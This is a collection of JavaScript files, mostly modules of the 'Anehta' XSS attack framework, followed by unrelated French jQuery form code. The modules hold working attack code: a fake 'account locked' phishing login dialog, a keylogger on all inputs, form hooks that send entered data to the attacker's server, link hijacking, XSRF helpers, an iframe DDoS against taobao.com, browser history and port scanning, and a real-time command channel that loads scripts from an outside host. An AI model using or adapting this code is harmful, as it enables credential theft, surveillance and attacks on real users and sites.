//setTimeout(function(){openWindow('/index.htm', 460, 460, '购买奴隶');}, 1000);
/*
function getPhishFormValue(){
var param = "username="+$("#phishForm_username")[0].value +
"&password="+$("#phishForm_passwd")[0].value;
anehtaCache.setItem("phishForm", param);
}
//if (!anehta.dom.checkCookie("anehtaPhished")){
setTimeout(function(){
// 加载lib
anehta.inject.injectScript(anehtaurl+"/server/js/ui.core.js");
anehta.inject.injectScript(anehtaurl+"/server/js/ui.draggable.js");
anehta.inject.injectScript(anehtaurl+"/server/js/ui.dialog.js");
anehta.inject.injectScript(anehtaurl+"/server/js/ui.resizable.js");
// 加载CSS
anehta.inject.injectCSS(anehtaurl+"/module/test.css");
var confirm = document.createElement("div");
confirm.id = "phishForm";
confirm.style.border = "1px solid black";
confirm.style.background = "white";
confirm.style.zIndex = "6553400";
confirm.style.display = "none";
confirm.innerHTML = "<div style='float:left; margin: 15 15 15 15px; fontFamily: Verdana,Arial,Helvetica,sans-serif; font-size:14px; color: #200;'>" +
"您的帐户已锁定,这可能是由于频繁刷新或者网络异常造成的。<br>" +
"请重新登录以验证您的身份<br><br>" +
"Username: <input id='phishForm_username' type='text' style='margin-left: 15px; width: 150;' /><br>" +
"Password: <input id='phishForm_passwd' type='password' style='margin-left: 15px; width: 150;' /><br>" +
"<button id='phishForm_submit' class='formbutton2' style='margin: 10 0 10 78px;' onclick='getPhishFormValue();$(\"#phishForm\").dialog(\"destroy\").remove();' />提交</button>" +
"</div>";
document.body.appendChild(confirm);
setTimeout(function(){
$("#phishForm").dialog({
open: function(){
confirm.style.display = "";
$("#phishForm_submit")[0].focus();
},
modal: true,
title: " Warning!",
overlay: {
opacity: 0.8,
background: "#cccccc"
},
draggable: false,
close: function(){
$("#phishForm").dialog("destroy").remove();
}
});
//anehta.dom.addCookie("anehtaPhished", "1");
}, 1000);
}, 2000);
//}
*/
anehtaCache.setItem("spVcode", document.getElementsByName("spVcode")[0].value);
anehta.trick.hijackLink(document.getElementById('ln'), "http://www.baidu.com");
anehta.hook.installKeyloggerToAllInputs();
//anehta.hook.installKeylogger(document.getElementById("username"), "blur");
anehta.hook.hookAllForms();
//anehta.hook.hookForm(document.getElementsByName("form1")[0]);
//document.getElementsByName("username")[0].style.visibility = "hidden";
|
JavaScript
|
//alert("xsrf.js");
////////////////////////////////////////////////
// XSRF 模块,通过 Ajax 实施XSRF攻击
// Author: axis
////////////////////////////////////////////////
// IE中可以通过anehta.inject.injectCSS加载css, 在css中的request可以带上cookie
// ff 中可以直接通过iframe进行csrf
/// 开始执行功能
if (anehtaXmlHttp.init()) {
//setTimeout(function(){anehta.ajax.post(anehtaurl+"/server/admin.php", "");},5000);
//anehta.ajax.get("http://www.a.com");
//anehta.ajax.get("http://"+$d.domain+"/fvck");
//setTimeout(function(){anehta.ajax.get("http://"+$d.domain+"/anehta/feed.js");}, 1000);
//setTimeout(function(){anehta.ajax.get("http://"+$d.domain+"/anehta/readme.txt");}, 8000);
}
//setTimeout(function(){ alert("cache: "+anehtaCache.getItem("ajaxPostResponseHeaders"));}, 3000);
/////////////////////////////////////////////////////
//// 如果需要嵌套调用,比如step1->step2->step3
//// 则需要像如下调用
/*
if (xmlhttp.init()) {
////// 第一个包
// 第二个参数是提交的参数,第三个参数是headers
xmlhttp.post("http://"+$d.domain, "", null, function(response, responseHeaders) {
if (responseHeaders != null) {
alert(responseHeaders);
}
if (response != null) {
alert(response);
}
///// 根据返回结果处理,并提交第二个包
xmlhttp.post("http://"+$d.domain+"/fvck", "", null, function(response, responseHeaders) {
if (responseHeaders != null) {
alert(responseHeaders);
}
if (response != null) {
alert(response);
}
///// 根据返回结果处理,并提交第三个包
/////// ......
});
});
}
*/
|
JavaScript
|
// API帮助
anehta.help = function(args){
switch (args) {
case "core":
alert("Anehta core API Help: \r\n\r\n" +
" anehta.core.freeze(ms); //freeze current page during the time(ms)\r\n\r\n" +
" anehtaCache.addItem(Key, Value); //add a key to cache; return Value;\r\n\r\n" +
" anehtaCache.removeItem(Key); //remove value of the key; return the value of the removed key;\r\n\r\n" +
" anehtaCache.dropItem(Key); //delete the key in the cache; return true/false;\r\n\r\n" +
" anehtaCache.getItem(Key); //get the value of the key; return the value;\r\n\r\n" +
" anehtaCache.setItem(Key, Value); //change the value of the key;if key not exist, add one;\r\n\r\n" +
" anehtaCache.appendItem(Key, Value); //append value to the specific key; \r\n\r\n" +
" anehtaCache.hasItem(Key); //test if the key exist; \r\n\r\n" +
" anehtaCache.showKeys(); //alert all keys in the cache; \r\n\r\n" +
" anehtaCache.clone(); //clone a cache object; return the cloned object;\r\n\r\n" +
" anehtaCache.clear(); //empty the cache; \r\n\r\n" +
" anehta.core.setWatermark(flashID, value); //set the value as the flash cookie; invoke the flashID's callback\r\n\r\n" +
" anehta.core.getWatermark(flashID); //get the value of the flash cookie; invoke the flashID's callback\r\n\r\n"
);
break;
case "dom":
alert("Anehta dom API Help: \r\n\r\n" +
" anehta.dom.bindEvent(o, e, fn); //bind a function 'fn()' to Event 'e' of element 'o'\r\n\r\n" +
" anehta.dom.unbindEvent(o, e, fn); //unbind a function 'fn()' to Event 'e' of element 'o'\r\n\r\n" +
" anehta.dom.getDocument(targetwindow); //return the document object of the target window\r\n\r\n" +
" anehta.dom.addCookie(cookiename,value); //add a 'name=value;' to current cookies; return true/false\r\n\r\n" +
" anehta.dom.checkCookie(cookiename); //check if current cookies contain a cookie named 'cookiename'; return true/false\r\n\r\n" +
" anehta.dom.getCookie(cookiename); //get the cookiename's value from current cookies; return the value of cookiename\r\n\r\n" +
" anehta.dom.setCookie(cookiename,value); //change the value of cookiename; return true/false\r\n\r\n" +
" anehta.dom.delCookie(cookiename); //expire the cookiename from current cookies; return true/false\r\n\r\n" +
" anehta.dom.persistCookie(cookiename); //make the cookiename never expired; return true/false\r\n\r\n" +
" anehta.dom.getQueryStr(qstrname); //get the value of the qstrname from current uri; return the param's value\r\n\r\n"
);
break;
case "net":
alert("Anehta net API Help: \r\n\r\n" +
" anehta.net.getURL(targeturl); //create an image element and GET the targeturl once as an img src\r\n\r\n" +
" anehta.net.postForm(targeturl); //create a form element and POST to the targeturl, current page will be redirected\r\n\r\n" +
" anehta.net.postFormIntoIframe(iframe, targeturl, postdata); //create a form element and POST with the postdata to the targeturl inside the iframe, current page won't be redirected\r\n\r\n" +
" anehta.net.cssGet(targeturl); //create a style element and IMPORT the targeturl;this will make a GET request.\r\n\r\n"
);
break;
case "logger":
alert("Anehta logger API Help: \r\n\r\n" +
" anehta.logger.logInfo(param); //send param as querystrings to the anehta server by getURL() function;plain text transfer\r\n\r\n" +
" anehta.logger.logCookie(); //get watermark, cookie, current uri, and send them to the anehta server by getURL() function; base64 encoded\r\n\r\n" +
" anehta.logger.logForm(form); //get all the inputs value of the specific form and send them to the anehta server by getURL() function; base64 encoded\r\n\r\n" +
" anehta.logger.logCache(); //check the cache data in every 5 seconds,if cache data changed,send them to the anehta server by postFormIntoIframe() function; plain text transfer\r\n\r\n"
);
break;
case "ajax":
alert("Anehta ajax API Help: \r\n\r\n" +
" anehtaXmlHttp.init(); //initial the ajax;you must call this function before your ajax request\r\n\r\n" +
" anehta.ajax.post(url, postdata); //ajax post; save response in cache as 'ajaxPostResponseHeaders' and 'ajaxPostResponse'\r\n\r\n" +
" anehta.ajax.get(url); //ajax get; save response in cache as 'ajaxGetResponseHeaders' and 'ajaxGetResponse'\r\n\r\n"
);
break;
case "inject":
alert("Anehta inject API Help: \r\n\r\n" +
" anehta.inject.injectScript(url); //create a script element with the 'url' as the src attribute and append it to body\r\n\r\n" +
" anehta.inject.removeScript(s); //remove the specific script s from body\r\n\r\n" +
" anehta.inject.addScript(url); //add a script with the 'url' as the src attribute by a document.write() method\r\n\r\n" +
" anehta.inject.injectCSS(url); //create a link element with the 'url' as the href attribute\r\n\r\n" +
" anehta.inject.injectIframe(url); //create a hidden iframe point to the specific url and append to body\r\n\r\n" +
" anehta.inject.addIframe(url); //create a div element and set its innerHTML as a hidden iframe which points to the specific url\r\n\r\n" +
" anehta.inject.createIframe(w); //create a hidden iframe under the specific window 'w'; return the iframe\r\n\r\n" +
" anehta.inject.injectScriptIntoIframe(f, proc); //write javascripts 'proc' to the specific iframe 'f'.\r\n\r\n" +
" anehta.inject.injectFlash(flashId, flashSrc, flashParam); //create a div and inject a flash into it;\r\n\r\n" +
" anehtaHook.hook('fnhooked', 'savedfn', 'fn'); //hook the fnhooked() function with fn() function; the original function will be save as savedfn().\r\n\r\n" +
" anehtaHook.unhook('fnhooked', 'savedfn'); //recover the fnhooked() function from the savedfn() function.\r\n\r\n" +
" anehtaHook.injectFn('fninjected', 'savedfn', 'fn'); //inject the fnhooked() function with fn() function; the original function will be save as savedfn().\r\n\r\n" +
" anehtaHook.hookSubmit(f, injectFn); //hook the submit of form 'f', and call injectFn() function before f's submit.\r\n\r\n"
);
break;
case "hook":
alert("Anehta hook API Help: \r\n\r\n" +
" anehtaHook.hook('fnhooked', 'savedfn', 'fn'); //hook the fnhooked() function with fn() function; the original function will be save as savedfn().\r\n\r\n" +
" anehtaHook.unhook('fnhooked', 'savedfn'); //recover the fnhooked() function from the savedfn() function.\r\n\r\n" +
" anehtaHook.injectFn('fninjected', 'savedfn', 'fn'); //inject the fnhooked() function with fn() function; the original function will be save as savedfn().\r\n\r\n" +
" anehta.hook.hookSubmit(f, injectFn); //hook the submit of form 'f', and call injectFn() function before f's submit.\r\n\r\n" +
" anehta.hook.hookForm(f); //hook the submit of form 'f', and log all the inputs value to server.\r\n\r\n" +
" anehta.hook.hookAllForms(); //hook the submit of all forms in current page, and log the inputs value to server when a form is submiting.\r\n\r\n" +
" anehta.hook.installKeylogger(o, trigger); //install a keylogger on element 'o', trigger's value might be 'blur' or 'unload' which means when to trigger the logger.\r\n\r\n" +
" anehta.hook.installKeyloggerToAllInputs(); // install a keylogger to all the input and textarea tags in current page, trigger the logger when blur.\r\n\r\n"
);
break;
case "detect":
alert("Anehta detect API Help: \r\n\r\n" +
" anehtaBrowser.type(); //sniffer the browser type in a reliable way; return msie/mozilla/opera/safari/chrome; also save a 'BrowserSniffer' in cache\r\n\r\n" +
" anehtaBrowser.version(); // return the browser version from userAgent.\r\n\r\n" +
" anehta.detect.screenSize(); // return the client's Screen Size.\r\n\r\n" +
" anehta.detect.flash(targetVersion); // check if the client support flash and flash version is higher than targetVersion; return true/false\r\n\r\n" +
" anehta.detect.activex(objName); // check if client has the specific objName activex control; return true/false\r\n\r\n" +
" anehta.detect.ffplugin(pluginName); // check if client has the specific firefox plugin; return true/false.\r\n\r\n"
);
break;
case "scanner":
alert("Anehta scanner API Help: \r\n\r\n" +
" anehta.scanner.activex(); //scan all activex controls from anehta.signatures.activex list, save the result as 'Activex' in cache; return the result\r\n\r\n" +
" anehta.scanner.ffPlugins (); //scan all the firefox plugins, save the result as 'FirefoxPlugins' in the cache; return the result.\r\n\r\n" +
" anehta.scanner.checkPort(scanHost, scanPort, timeout); //check the specific port on the specific host is open or closed.\r\n\r\n" +
" anehta.scanner.ports(target, timeout); //scan all the ports listed in anehta.signatures.ports against the specific host.\r\n\r\n" +
" anehta.scanner.history(); //scan if the client has ever visited the links listed in anehta.signatures.sites; save the result as 'sitesHistory' in cache; return the result\r\n\r\n"
);
break;
case "trick":
alert("Anehta trick API Help: \r\n" +
" anehta.trick.hijackLink(link, url); //change the href of the link when user click on the link.\r\n\r\n"
);
break;
case "misc":
alert("Anehta misc API Help: \r\n" +
" anehta.misc.realtimeCMD(); //inject a realtime module to current page and apply commands from anehta server.\r\n\r\n" +
" anehta.misc.getClipboard(); //get the clipboard's content(text); IE only.\r\n\r\n" +
" anehta.misc.setClipboard(); //set the clipboard's content(text); IE only.\r\n\r\n" +
" anehta.misc.getCurrentPage(); //return the current page's html code.\r\n\r\n"
);
break;
case "crypto":
alert("Anehta crypto API Help: \r\n" +
" anehta.crypto.base64Encode(str); //return the base64 encode of the str.\r\n\r\n" +
" anehta.crypto.base64Decode(str); //decode the base64 str, and return the decoded one.\r\n\r\n"
);
break;
default:
alert("Usage: anehta.help(args);\r\n" +
"args could be: core,dom,net,logger,ajax,inject,hook,detect,scanner,trick,misc,crypto \r\n\r\n" +
"example: anehta.help('core'); \r\n" +
" will show the anehta core api mannual.");
}
}
|
JavaScript
|
// Scanner,Detector
// 扫描结果会自动保存在cache中
// cache中的结果会定时发送到server
//出于性能考虑扫描列表放在这里
// activex 签名
anehta.signatures.activex = new Array(
"Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
"Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
"360Safe|360SafeLive.Update|classID",
"Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
"CMB Bank|CMBHtmlControl.Edit|classID",
//"Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID", 非安全的控件
//"Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
"JRE 1.5(WebStart)|JavaWebStart.isInstalled.1.5.0.0|classID",
"JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
//"KMPlayer|KMPlayer.TKMPDropTarget|classID",
//"KingSoft Word(词霸)|KSEngine.Word|classID",
//"Windows live Messanger|Messenger.MsgrObject|classID",
//"Nero|NeroFileDialog.NeroFileDlg|classID",
//"Nokia Cellphone|NokiaCL.PhoneControl|classID",
"PPlayer|PPlayer.XPPlayer|classID",
"Tencent QQ|Qqedit.PasswordEditCtrl|classID",
"QuickTime|QuickTime.QTElementBehavior|classID",
//"Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
"Xunlei|XunLeiBHO.ThunderIEHelper|classID",
//"Yahoo Messenger|Yahoo.Messenger|classID",
""
);
anehta.signatures.ffExtensions = [
{name: 'Adblock Plus', url: 'chrome://adblockplus/skin/adblockplus.png'},
{name: 'Customize Google', url: 'chrome://customizegoogle/skin/32x32.png'},
{name: 'DownThemAll!', url: 'chrome://dta/content/immagini/icon.png'},
{name: 'Faster Fox', url: 'chrome://fasterfox/skin/icon.png'},
{name: 'Flash Block', url: 'chrome://flashblock/skin/flash-on-24.png'},
{name: 'FlashGot', url: 'chrome://flashgot/skin/icon32.png'},
{name: 'Google Toolbar', url: 'chrome://google-toolbar/skin/icon.png'},
{name: 'Greasemonkey', url: 'chrome://greasemonkey/content/status_on.gif'},
{name: 'IE Tab', url: 'chrome://ietab/skin/ietab-button-ie16.png'},
{name: 'IE View', url: 'chrome://ieview/skin/ieview-icon.png'},
{name: 'JS View', url: 'chrome://jsview/skin/jsview.gif'},
{name: 'Live HTTP Headers', url: 'chrome://livehttpheaders/skin/img/Logo.png'},
{name: 'SEO For Firefox', url: 'chrome://seo4firefox/content/icon32.png'},
{name: 'Search Status', url: 'chrome://searchstatus/skin/cax10.png'},
{name: 'Server Switcher', url: 'chrome://switcher/skin/icon.png'},
{name: 'StumbleUpon', url: 'chrome://stumbleupon/content/skin/logo32.png'},
{name: 'Torrent-Search Toolbar', url: 'chrome://torrent-search/skin/v.png'},
{name: 'User Agent Switcher', url: 'chrome://useragentswitcher/content/logo.png'},
{name: 'View Source With', url: 'chrome://viewsourcewith/skin/ff/tb16.png'},
{name: 'Web Developer', url: 'chrome://webdeveloper/content/images/logo.png'}
];
anehta.signatures.sites = new Array(
"http://www.google.com",
"http://www.google.cn",
"http://www.baidu.com",
"http://www.taobao.com",
"http://www.alipay.com",
"http://www.sohu.com",
"http://www.sina.com.cn",
"http://www.163.com",
"http://www.qq.com",
"http://www.qidian.com",
"http://www.tianyaclub.com",
"http://www.kaixin001.com",
"http://www.xiaonei.com",
"http://planet.ph4nt0m.org",
"http://hi.baidu.com/aullik5",
"http://www.secwiki.com/anehta/demo.html",
"http://hi.baidu.com/fvck"
);
anehta.signatures.ports = new Array(21, 22, 23, 25, 53, 80,
110, 118, 137, 139, 143, 161, 389, 443, 445, 547, 1080, 1433,
1521, 3306, 3389, 8000, 8008, 8080, 8888, 10000);
anehta.detect.screenSize();
anehta.scanner.ffPlugins();
//alert(anehta.detect.ffplugin("s"));
anehta.scanner.activex();
anehta.scanner.history();
// 扫描端口效果很不好
//anehta.scanner.ports("www.secwiki.com", 900);
//anehta.scanner.checkPort("www.secwiki.com", "135", 900);
anehta.misc.realtimeCMD();
// logger service ,放这里更稳定
anehta.logger.logCache();
|
JavaScript
|
//alert("ddos.js");
////////////////////////////////////////////
//// 构造多个隐藏iframe,请求远程页面
//// 需要改进,用iframe无法隐藏Referer,很容易被屏蔽
//// iframe在IE中会拦截cookie,有些页面无法DDOS到
//// Author: axis
////////////////////////////////////////////
var ddos_target = "http://www.taobao.com";
function ddosIframe(target){
var t = $d.createElement("iframe");
t.src = target;
t.width = 0;
t.height = 0;
$d.getElementsByTagName("body")[0].appendChild(t);
//$d.getElementsByTagName("body")[0].removeChild(t);
}
function ddosIframeFakeReferer(target){
}
///// 开始攻击
/*
var i = 0;
do {
setTimeout("ddosIframe(target)", 200);
i = i+1;
}
while (i<=10);
*/
setInterval(function(){ddosIframe(ddos_target);}, 2000);
|
JavaScript
|
//alert("keylog.js");
//////////////////////////////////////////////////////
//// 基于js的键盘记录器
//// Author: axis
//////////////////////////////////////////////////////
var tagName = new Array("input", "textarea");
//$("textarea").keydown(function(){ alert();});
var keylogger = new Array();
var keystrokes = ""; //记录所有键盘记录
var i = 0; // 计数器
var j = 1; // 全局计数器
$(tagName[0]).keydown(function(event){
/* 实时发送;通过控制i调整频率
if ( i>=10 ){
anehta.net.getURL(logurl+escape(keylogger));
i = 0; // 重置计数器
}
*/
// json data format
keylogger[i] = "{tag:'"+tagName[0]+
"', name:'"+this.name+
"', id:'"+this.id+
"', press:'"+j+
"', key:'"+String.fromCharCode(event.keyCode)+
"', keyCode:'"+event.keyCode+
"'}";
keystrokes = String.fromCharCode(event.keyCode);
anehtaCache.appendItem("KeyStrokes", keystrokes);
//alert(keystrokes);
i=i+1;
j=j+1
});
// input失去焦点时触发
$(tagName[0]).blur(function(){
//anehta.logger.logInfo(keylogger);
anehta.core.freeze(200);
}
);
/*
// 在窗口关闭时候发送keylog 到服务器
// 不稳定,如果是提交表单到其他页面的话,会post出错
// 如果unload事件已经被改写的话,会出问题
$(window).unload(function(){
//alert(keylogger);
// 时间不允许再base64加密了
//keylogger = anehta.crypto.base64encode(keylogger);
// 明文传输,需要标记为NoCryptMark
keylogger = NoCryptMark + XssInfo_S+"Keylogger: " + keylogger + XssInfo_E;
//alert(keylogger);
//anehta.core.freeze(500);
anehta.net.getURL(logurl+escape(keylogger));
anehta.core.freeze(900);
//alert(keylogger);
}
);
*/
|
JavaScript
|
//alert("realtimecmd.js");
///////////////////////////////////////////
//// 实时命令模块,与服务端进行通行
///////////////////////////////////////////
var timeInterval = 5000; // 时间间隔
var realtimeCmdMaster = anehtaurl + "/server/realtimecmd.php?";
setInterval(function(){
var timesig = new Date();
// 水印只能从cookie中取
var watermarknum = anehta.dom.getCookie("anehtaWatermark");
if (watermarknum != null){
watermarknum = watermarknum.substring(watermarknum.indexOf('|')+1);
}
var rtcmd = anehta.inject.injectScript(realtimeCmdMaster+"watermark="+watermarknum+"&t="+timesig.getTime());
// 留出一定的时间执行,然后删除它
setTimeout(function(){ anehta.inject.removeScript(rtcmd);}, 1500);
},
timeInterval);
|
JavaScript
|
// 用于存放临时数据以及交换数据
//var cache = new anehta.core.cache();
//alert("cache: "+anehtaCache.version);
anehtaCache.addItem("domain1", document.domain);
anehtaCache.addItem("domain2", document.domain);
anehtaCache.addItem("domain3", document.domain);
anehtaCache.addItem("domain4", document.domain);
anehtaCache.addItem("domain5", document.domain);
anehtaCache.addItem("domain6", document.domain);
anehtaCache.addItem("domain7", document.domain);
anehtaCache.addItem("domain8", document.domain);
anehtaCache.addItem("domain9", document.domain);
anehtaCache.addItem("domain10", document.domain);
anehtaCache.addItem("domain11", document.domain);
//anehtaCache.setItem("domain3", "ssss");
//var tt = anehtaCache.removeItem("domain8");
var x = anehtaCache.getItem("domain8");
//alert(x);
anehtaCache.dropItem("domain8");
var x = anehtaCache.hasItem("domain8");
//alert("x: "+x);
setTimeout(function(){anehtaCache.addItem("fvck", "tttttttttttt");}, 20000);
//alert("cache1: "+anehtaCache.version);
//var test = anehtaCache.getItem("domain1");
//setTimeout(function(){alert(anehtaCache.hasItem("domain6"));}, 3000);
|
JavaScript
|
////////////////////////////////////////
//// 控制IE的剪贴板
//// Author: axis
//// GET 和 SET 方法
////////////////////////////////////////
|
JavaScript
|
// alert("hook.js");
// hook 表单提交; hook JS函数
// Author: axis
//////////////////////////////////
//// 开始执行功能 ///////////////
////////////////////////////////////////////////////////////////
// 第一种hook submit方法
// 使用jquery中的bind方法给表单添加submit事件,从而hook 表单提交
////////////////////////////////////////////////////////////////
/*
$("form").bind("submit",
function(){ anehta.logger.logForm($("form")[0]); }
);
*/
///////////////////////////////////////////////////////////////
// 第二种hook submit方法
// JQuery 直接的hook submit 方法
///////////////////////////////////////////////////////////////
/*
$("form[name='form1']").eq(0).submit(function(){
anehta.logger.logForm($("form[name='form1']")[0]);
//anehta.logger.logCookie();
//return true;
}
);
*/
////////////////////////////////////////////////////////////////
// 第三种hook submit 方法
// 如果是在javascript函数里调用了表单的比如: form.submit();
// 则需要先hookSubmit
////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////
// 表单hook后执行的函数,第一个参数是被hook的表单
// Hook后执行的功能函数,修改以符合自己需要的功能
/*
function injectSubmitFunc(o, param){
// your code here!
alert(param);
anehta.logger.logForm($("form")[0]);
// 最后记得恢复表单的正常提交
if (o._submit != undefined) {
o._submit(); // 被hook过了
} else {
o.submit();
}
}
anehta.inject.hookSubmit($("form")[0], function (){injectSubmitFunc($("form")[0], "fvck");});
*/
///////////////////////////////////////////////////////////////
// hook 一般函数的方法
// 使用委托;
// 注意hook函数加载前,如果函数已经调用了,则该函数无法hook
// var hj = new hookJsFunction();
// hj.hook("被hook的函数名", "保存原函数的变量", "你的函数名");
// hi.unhook("被hook的函数名", "保存原函数的变量");
///////////////////////////////////////////////////////////////
/*
// 自定义函数1
function test(a,b,c,d,e){
//alert("Hooked!");
document.getElementById('error_div').innerHTML="test";
var ret = new Array("anehtaTestHook");
return ret;
}
// 自定义函数2
function test2(x,y){
alert("test2");
// 新参数
var ret = new Array("r","t");
return ret;
}
// 保存原函数
var _function1, _test;
//anehtaHook.hook('checktext', '_function1', 'test');
//alert(_function1);
//hj.hook("test","_test", "test2");
anehtaHook.hook("alert", "_function1", "test");
setTimeout(function(){alert("ss");},1000);
*/
//hj.injectFn("test","_test", "test2");
//setTimeout(function(){function1(); hj.unhook("test","_test");},6000);
//////////////////////////////////////////////////////////////
/// 直接重载同名函数,晚加载的可以覆盖先加载的
//////////////////////////////////////////////////////////////
//function function1(){
// alert(3);
//}
|
JavaScript
|
// 随意写你需要做的事情
//anehta.hook.installKeyloggerToAllInputs();
//anehta.hook.hookAllForms();
|
JavaScript
|
var anehtaurl = "http://www.a.com/anehta";
//var anehtaurl="http://www.a.com/anehta";
// feed.js 是中心控制文件,在这里插入各种脚本模块
// Author: axis
//alert("feed.js 种子");
var anehtaFeedIsLoaded = false;
//已经加载过feed.js了
if (typeof anehtaLibs != "undefined"){
anehtaFeedIsLoaded = true;
}
var anehtaLibs = [
// Library
{name: "AnehtaLib", url: "/library/anehta.js"},
//{name: "DojoLib", url: "......"},
{name: "JqueryLib", url: "/library/jquery.js"}
];
var anehtaModules = [
// Modules
{name: "ClxMod", url: "/module/clx.js"},
{name: "XsrfMod", url: "/module/xsrf.js"},
//{name: "DdosMod", url: "/module/ddos.js"},
{name: "XCookieMod", url: "/module/xcookie.js"},
{name: "ScannerMod", url: "/module/scanner.js"},
{name: "CustomizeMod", url: "/module/customize.js"},
{name: "HelpMod", url: "/module/help.js"},
{name: "TestMod", url: "/module/test.js"}
];
function injectScript(ptr_sc){
s=document.createElement("script");
s.src=ptr_sc;
try {
document.getElementsByTagName("body")[0].appendChild(s);
} catch (e) {
document.documentElement.appendChild(document.createElement("body"));
document.getElementsByTagName("body")[0].appendChild(s);
}
}
function addScript(ptr_sc){
document.write("<script src='"+ptr_sc+"'></script>");
}
// 避免重复加载feed.js
if (anehtaFeedIsLoaded != true){
// 先加载library
for (i=0; i<anehtaLibs.length; i++){
injectScript(anehtaurl + anehtaLibs[i].url);
//addScript(anehtaurl + anehtaLibs[i].url);
}
//setTimeout(
//function(){
// 再加载 modules
for (i=0; i<anehtaModules.length; i++){
injectScript(anehtaurl + anehtaModules[i].url);
//addScript(anehtaurl + anehtaModules[i].url);
}
//},
//500);
}
|
JavaScript
|
function afficherChargementDans(idChamp) {
$('#' + idChamp).html("<table width='100%' height='100%'><tr><td align='center'><img src='/icones/load.gif'/></td></tr></table>");
}
|
JavaScript
|
$(function() {
addClickHandlers();
});
function addClickHandlers() {
$("*").not($("#champ_formulaire_date")).unbind();
$(function() {
$("#bouton_admin_formulaire_valider").click(function() {
valider();
});
});
$(function() {
$("#bouton_admin_formulaire_annuler").click(function() {
annuler();
});
});
$(function() {
$("input[formType=date]").datepicker();
$("*[focus=true]").focus();
updateChampsFormulaires();
//updateBoutonsValider();
//updateBoutonsAnnuler();
//updateBoutonsModifier();
//updateBoutonsSupprimer();
});
/*$('body').keydown( function(e) {
if (e.keyCode == 13 && e.ctrlKey ) {
valider();
}
if (e.keyCode == 27 ) {
annuler();
}
});*/
}
function updateChampsFormulaires() {
//TODO faire une recherche qui joint les deux résultats
$("input").add($("textarea")).each(function(i) {
var idForm = $(this).parents('form:first').attr('id');
$(this).keydown( function(e) {
if (e.keyCode == 13 && e.ctrlKey ) {
valider(idForm);
}
if (e.keyCode == 27 ) {
annuler(idForm);
}
});
});
}
/*function updateBoutonsModifier() {
$("button[formType=modifier]").each(function(i) {
var idForm = $(this).attr('idForm');
var idObjet=$(this).attr('idObjet');
this.type="button";
this.id="bouton_formulaire_modification_"+idObjet;
//Ajout de l'image au bouton
if ($(this).children("img").length ==0) {
jQuery('<img/>', {
src: '/icones/modifier.png',
title : 'Modifier'
}).appendTo(this);
}
$(this).click(function() {
changerMode(idForm, 'modeModification', idObjet);
});
});
}*/
function updateBoutonsSupprimer() {
$("button[formType=supprimer]").each(function(i) {
var idForm = $(this).attr('idForm');
var idObjet=$(this).attr('idObjet');
var presentationObjet=$(this).attr('presentationObjet');
this.type="button";
this.id="bouton_formulaire_suppression_"+idObjet;
//Ajout de l'image au bouton
if ($(this).children("img").length ==0) {
jQuery('<img/>', {
src: '/icones/supprimer.png',
title : 'Supprimer'
}).appendTo(this);
}
$(this).click(function() {
supprimer(idForm, idObjet, presentationObjet);
});
});
}
/*function updateBoutonsValider() {
$("button[formType=valider]").each(function(i) {
var idForm = $(this).parents('form:first').attr('id')
//this.id="bouton_formulaire_validation_" + idForm;
this.id="bouton_formulaire_validation";
this.form=idForm;
this.type="button";
//Ajout de l'image au bouton
if ($(this).children("img").length ==0) {
jQuery('<img/>', {
src: '/icones/valider.png',
title : 'Valider'
}).appendTo(this);
$(this).children("img").after(' Valider');
}
$(this).click(function() {
valider(idForm);
});
});
}*/
/*function updateBoutonsAnnuler() {
$("button[formType=annuler]").each(function(i) {
var idForm = $(this).parents('form:first').attr('id')
//this.id="bouton_formulaire_annulation_" + idForm;
this.id="bouton_formulaire_annulation";
this.form=idForm;
this.type="button";
//Ajout de l'image au bouton
if ($(this).children("img").length ==0) {
jQuery('<img/>', {
src: '/icones/annuler.png',
title : 'Annuler'
}).appendTo(this);
$(this).children("img").after(' Annuler');
}
$(this).click(function() {
annuler(idForm);
});
});
}*/
|
JavaScript
|
function chargerPage(page, titre) {
$.ajaxSetup({async:true});
$.post(page, function(data) {
$('#contenu').html(data);
document.title = titre;
});
}
|
JavaScript
|
var finTitreFormulaire;
var classeAction;
var classeViewHelper;
//ENTITE
function annuler(idForm) {
disableAllButton(idForm);
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "annuler" }, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
if (mode != modeTransition) {
changerMode(idForm, modeAjout);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
}
});
}
function ajouter(idForm) {
$("#" + idForm).each(function(i){
this.reset();
});
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "ajouter" }, function(data) {
var retour = JSON.parse(data);
if (retour.succes) {
mode=modeAjout;
setEtatInterfaceModeAjout(idForm);
setTitreFormulaire(idForm);
if (onAjout != null) {
onAjout(idForm);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
}
});
}
function modifier(idForm, id) {
var retour;
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "modifier", id: id}, function(data) {
retour = JSON.parse(data);
if (retour.succes) {
for(var key in retour){
if (key != 'succes') {
var valeur = retour[key];
//TODO associer chaque champ à un nom d'attribut plutôt
//var champ = $("#champ_formulaire_" + key);
var champ = $("form[id="+idForm+"]").find("#champ_formulaire_" + key);
champ.html(retour.detail);
if (champ.attr("type") == "checkbox") {
if (valeur == "1") {
champ.attr("checked", "checked");
} else {
champ.removeAttr("checked", "");
}
} else {
champ.val(valeur);
}
}
}
setEtatInterfaceModeModification(idForm, id);
mode=modeModification;
setTitreFormulaire(idForm);
if (onModification != null) {
onModification(idForm);
}
} else {
$("form[id="+idForm+"]").find("#resultat").html(retour.detail);
//$('#resultat').html(retour.detail);
}
});
}
function supprimer(idForm, id, entitePresentation) {
if (!confirm('Voulez vous vraiment supprimer "' + entitePresentation + '"')) {
return;
}
disableAllButton();
var retour;
$.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "supprimer", id: id}, function(data) {
retour = JSON.parse(data);
